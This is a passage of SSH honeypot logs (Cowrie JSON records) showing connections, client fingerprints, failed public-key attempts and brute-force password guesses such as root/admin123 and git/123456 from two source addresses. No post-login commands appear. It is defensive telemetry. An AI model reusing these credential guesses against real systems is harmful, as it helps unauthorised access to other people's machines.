-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:19.365967Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:51:57:24:5b:0c:32:90:06:1a:38:96:9f:92:8f:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFZYPHPZqswaaTJJ59vIGJoP3xvUchGkWLQyxgJVLfFMOZJHBH1hFaawe3w0G6m46zq897sb2sN52+hAXHyWKSGaWuE1p2eOvGU6b8QreAVKBolInkXl9L/ZcwkWK2QmOxpZV7ZWSdRp+6k2ArNstU8LnusI8xTMY4x5obglNtY0er+MQsHzZaXyhWr1UdCeJ5j9k3Y1NQixJdr61YI6+J7Aci+2/U8Zd0qb25xJ4AgpRQlkPkcIE+NRWzED+0bQWmiXdlbEkUi+16WI9ADrPUXZrBGnms/hxWLURWFT8CU6ZHa4+bNriFbHREddOA4fj8MklPFDHo2oW4YgsVRFr1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:51:57:24:5b:0c:32:90:06:1a:38:96:9f:92:8f:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:19.893632Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:51:57:24:5b:0c:32:90:06:1a:38:96:9f:92:8f:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFZYPHPZqswaaTJJ59vIGJoP3xvUchGkWLQyxgJVLfFMOZJHBH1hFaawe3w0G6m46zq897sb2sN52+hAXHyWKSGaWuE1p2eOvGU6b8QreAVKBolInkXl9L/ZcwkWK2QmOxpZV7ZWSdRp+6k2ArNstU8LnusI8xTMY4x5obglNtY0er+MQsHzZaXyhWr1UdCeJ5j9k3Y1NQixJdr61YI6+J7Aci+2/U8Zd0qb25xJ4AgpRQlkPkcIE+NRWzED+0bQWmiXdlbEkUi+16WI9ADrPUXZrBGnms/hxWLURWFT8CU6ZHa4+bNriFbHREddOA4fj8MklPFDHo2oW4YgsVRFr1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:19.896894Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:d2:ca:fe:ba:65:01:91:5e:2f:52:b0:dd:f4:03:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2p3HcnXZeeQyzj8bybHSUxSPohTy4snBTsJlXtd08EWjJNQ7ZbJGXUUkZjZ8I1rUjsh76FxbHQm65zQQxLpvQpusFt7FkQRM6j6N0R+L5lyA1uZCMMmfLjBmKpQVvHnogDcr/3ow1YRj78aCZcIKdr0po2UG8z3dDORJbgwFP4NDqdBXl1UKoQifwCf2ozXaywJaun/rwRPlkoMyp3DixFo99E9Prsk4LVa2vBGz5vocIq2jUTLYxkql1T+/q/XI2V7cDlLhRDa2Ab9hRuSp2jyi7BX22u3w5C5A1ZsGlbbJ9N+D+GuvKLoh2LWwT0hLoE89AD6w22Jf4XXTvZoBJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:d2:ca:fe:ba:65:01:91:5e:2f:52:b0:dd:f4:03:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.009853Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:d2:ca:fe:ba:65:01:91:5e:2f:52:b0:dd:f4:03:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2p3HcnXZeeQyzj8bybHSUxSPohTy4snBTsJlXtd08EWjJNQ7ZbJGXUUkZjZ8I1rUjsh76FxbHQm65zQQxLpvQpusFt7FkQRM6j6N0R+L5lyA1uZCMMmfLjBmKpQVvHnogDcr/3ow1YRj78aCZcIKdr0po2UG8z3dDORJbgwFP4NDqdBXl1UKoQifwCf2ozXaywJaun/rwRPlkoMyp3DixFo99E9Prsk4LVa2vBGz5vocIq2jUTLYxkql1T+/q/XI2V7cDlLhRDa2Ab9hRuSp2jyi7BX22u3w5C5A1ZsGlbbJ9N+D+GuvKLoh2LWwT0hLoE89AD6w22Jf4XXTvZoBJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.012710Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:00:dd:31:30:01:ad:3c:ed:de:b4:e8:e9:5c:2b:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqzhOTctcYohgdrCSTmL4xfSUzhO3v/vEhZni4eAZMTEoG2zH3GTTHrICHVTaTpgEVfqM19F/VkdMZqsyjNrwPMn5OtqUmZWPCvmJ7HrOIJhngCiRUs+M+I3EroLO+U0kOi569v0Y5HbugFGI1bhzYiQQjr7vKd8blLK91s0rbh3lz32z67bKC27KB1QbAQzX9gXy/3uL4ag8MDFdb+84dBv7ggdI9OFLDKQkcEYhMDLtUIyXNbbm2KHLG7V/v1jkQ32m4EuDNwrhoZvd7PddEKURDEaVk0FSxqyBhsRwiSrxvJS7I3ZCLZ/4tNrJSzSKLjDEVrL+hY5JNm+avPqFQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:00:dd:31:30:01:ad:3c:ed:de:b4:e8:e9:5c:2b:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.123752Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:00:dd:31:30:01:ad:3c:ed:de:b4:e8:e9:5c:2b:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqzhOTctcYohgdrCSTmL4xfSUzhO3v/vEhZni4eAZMTEoG2zH3GTTHrICHVTaTpgEVfqM19F/VkdMZqsyjNrwPMn5OtqUmZWPCvmJ7HrOIJhngCiRUs+M+I3EroLO+U0kOi569v0Y5HbugFGI1bhzYiQQjr7vKd8blLK91s0rbh3lz32z67bKC27KB1QbAQzX9gXy/3uL4ag8MDFdb+84dBv7ggdI9OFLDKQkcEYhMDLtUIyXNbbm2KHLG7V/v1jkQ32m4EuDNwrhoZvd7PddEKURDEaVk0FSxqyBhsRwiSrxvJS7I3ZCLZ/4tNrJSzSKLjDEVrL+hY5JNm+avPqFQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.128129Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:46:ee:8a:3c:a0:9d:1a:c1:c1:aa:42:43:cf:67:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgiNBE3AvcZeRIvI9z+ucl4buzUIalimEPMBw9pMy/AQUOiPTT8HqJkfH0aKOuD5SxOdDYOTXl+zgLvHSWkV5vVYD545trUXkT8k3ZV231M3EUtPft3LQngJHVNCK7PNHWTq/jgBZDtEfj5fjk9l6nsdekz1lGg+q+9Dn4eDSdWl2p4FTV0N0KobHtrbK4Ux5eyeBWtoqgOyM69yZQ2ZDX46YM9ESAR7+wIpCHfKZrMTbLXfL75LehS4aeXmILs7Qd1w8hm+0kpQDXLgCYrr1LPYu2O6kgR7hmzAba0mRa0D7beZSkVJ9DJ43kPWM5gWzpr9HV6HJcPS5MW43NcUCADidobagLsKLwvOCwtD1TZUx1QtACMdOknHIjvoEjCCL3QH3SHM6H6i2ta1OGK9V7fxmCLYxEzckBiN/cBtv12+npnbjK+BbhPNeP6Yz25nAAIXC9r/3vgHWCZb2QnKsT2YOKgJCLZIDX2O5ZTE/zps3pJcbFQkgkD4T7XhOaJCGxdLHFcZXFN/3ppgKOdHd+1ebuxFvHAwOpDb2WBj5y6vcEIAkjflC7hFdnx5xeaefgRNqgyi9Tb2t2d5qt8m53DxnTmNSR5c/BXdJnht5nI7OXrCNsfR4sFgqNI2VUSZzshdb472cBLVOpCLsQ6m2acxtH9tNJ97c9Q7ZPcE5gGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:46:ee:8a:3c:a0:9d:1a:c1:c1:aa:42:43:cf:67:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.238385Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:46:ee:8a:3c:a0:9d:1a:c1:c1:aa:42:43:cf:67:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgiNBE3AvcZeRIvI9z+ucl4buzUIalimEPMBw9pMy/AQUOiPTT8HqJkfH0aKOuD5SxOdDYOTXl+zgLvHSWkV5vVYD545trUXkT8k3ZV231M3EUtPft3LQngJHVNCK7PNHWTq/jgBZDtEfj5fjk9l6nsdekz1lGg+q+9Dn4eDSdWl2p4FTV0N0KobHtrbK4Ux5eyeBWtoqgOyM69yZQ2ZDX46YM9ESAR7+wIpCHfKZrMTbLXfL75LehS4aeXmILs7Qd1w8hm+0kpQDXLgCYrr1LPYu2O6kgR7hmzAba0mRa0D7beZSkVJ9DJ43kPWM5gWzpr9HV6HJcPS5MW43NcUCADidobagLsKLwvOCwtD1TZUx1QtACMdOknHIjvoEjCCL3QH3SHM6H6i2ta1OGK9V7fxmCLYxEzckBiN/cBtv12+npnbjK+BbhPNeP6Yz25nAAIXC9r/3vgHWCZb2QnKsT2YOKgJCLZIDX2O5ZTE/zps3pJcbFQkgkD4T7XhOaJCGxdLHFcZXFN/3ppgKOdHd+1ebuxFvHAwOpDb2WBj5y6vcEIAkjflC7hFdnx5xeaefgRNqgyi9Tb2t2d5qt8m53DxnTmNSR5c/BXdJnht5nI7OXrCNsfR4sFgqNI2VUSZzshdb472cBLVOpCLsQ6m2acxtH9tNJ97c9Q7ZPcE5gGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.241714Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:2c:54:c2:cc:21:55:61:39:fb:4a:f1:6c:71:69:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCfF1L+lawQWTX3MSXgTq6JE/gL5DleSNrhiiinJL70zZBSpGbZJoKqF8Qn1QfBS/R6jP6zJyHqucUPJhaOPh20cTe/0ScxLVvyiMDA3nQZ/fXdQhKOmrE0sN6imP62Q5jIB379eQ/KwX0wUPpEAMR7OXUqUIEdyR1TdZp/cjWXkrS9pnxA2FeZ21i7eegkG6kMYcU/1tWnuhHec/XRTtSlHFRuopEel042L1bGmHYYAMctnTpZAtLPYr90Jo2cCQQxnnwZ9ige3a0yNwRz0T4zqnJ52BeolYTpV4Dj6KBJMfLbGoU/vmJ+x3YRgE//AfiXvvmKIpEqH4/rZkeNN5hoJu++jVamlvLTy0wjX6UTUvE+Dsu2qQ4DFbLsMrdcZP+erRp6IbyXbHbUCVMXGaoIApbXzfTKpl6mJRzsLegrfdqLZP/KsIKuDxSFOR7C7UCbsPf4Hrpi8fiClP26E+OTQPXzKX0wRvwIDEFCw4fUwPhl/MkTU0TF3xOOTZQWnk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:2c:54:c2:cc:21:55:61:39:fb:4a:f1:6c:71:69:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.351296Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:2c:54:c2:cc:21:55:61:39:fb:4a:f1:6c:71:69:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCfF1L+lawQWTX3MSXgTq6JE/gL5DleSNrhiiinJL70zZBSpGbZJoKqF8Qn1QfBS/R6jP6zJyHqucUPJhaOPh20cTe/0ScxLVvyiMDA3nQZ/fXdQhKOmrE0sN6imP62Q5jIB379eQ/KwX0wUPpEAMR7OXUqUIEdyR1TdZp/cjWXkrS9pnxA2FeZ21i7eegkG6kMYcU/1tWnuhHec/XRTtSlHFRuopEel042L1bGmHYYAMctnTpZAtLPYr90Jo2cCQQxnnwZ9ige3a0yNwRz0T4zqnJ52BeolYTpV4Dj6KBJMfLbGoU/vmJ+x3YRgE//AfiXvvmKIpEqH4/rZkeNN5hoJu++jVamlvLTy0wjX6UTUvE+Dsu2qQ4DFbLsMrdcZP+erRp6IbyXbHbUCVMXGaoIApbXzfTKpl6mJRzsLegrfdqLZP/KsIKuDxSFOR7C7UCbsPf4Hrpi8fiClP26E+OTQPXzKX0wRvwIDEFCw4fUwPhl/MkTU0TF3xOOTZQWnk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.354785Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.466656Z","src_ip":"185.65.107.14","session":"de34fc26ed7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49722,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6739a1f56b8","protocol":"ssh","message":"New connection: 192.109.200.78:49722 (10.17.0.5:22) [session: c6739a1f56b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.652991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.657117Z","src_ip":"192.109.200.78","session":"c6739a1f56b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.737826Z","src_ip":"192.109.200.78","session":"c6739a1f56b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:20.982489Z","src_ip":"192.109.200.78","session":"c6739a1f56b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:22.066820Z","src_ip":"192.109.200.78","session":"c6739a1f56b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39902,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b216124065c","protocol":"ssh","message":"New connection: 192.109.200.78:39902 (10.17.0.5:22) [session: 8b216124065c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:24.101424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:24.282380Z","src_ip":"192.109.200.78","session":"8b216124065c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:24.285564Z","src_ip":"192.109.200.78","session":"8b216124065c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:24.625282Z","src_ip":"192.109.200.78","session":"8b216124065c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:25.819527Z","src_ip":"192.109.200.78","session":"8b216124065c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39904,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a4ade14c07","protocol":"ssh","message":"New connection: 192.109.200.78:39904 (10.17.0.5:22) [session: 68a4ade14c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:27.776034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:27.779830Z","src_ip":"192.109.200.78","session":"68a4ade14c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:27.860864Z","src_ip":"192.109.200.78","session":"68a4ade14c07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:28.106642Z","src_ip":"192.109.200.78","session":"68a4ade14c07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:29.191674Z","src_ip":"192.109.200.78","session":"68a4ade14c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39912,"dst_ip":"10.17.0.5","dst_port":22,"session":"b029f1209936","protocol":"ssh","message":"New connection: 192.109.200.78:39912 (10.17.0.5:22) [session: b029f1209936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:31.370900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:31.374948Z","src_ip":"192.109.200.78","session":"b029f1209936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:31.456585Z","src_ip":"192.109.200.78","session":"b029f1209936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:31.705492Z","src_ip":"192.109.200.78","session":"b029f1209936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:32.790047Z","src_ip":"192.109.200.78","session":"b029f1209936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54506,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e00de8fcb80","protocol":"ssh","message":"New connection: 192.109.200.78:54506 (10.17.0.5:22) [session: 4e00de8fcb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:58:34.771472Z"}
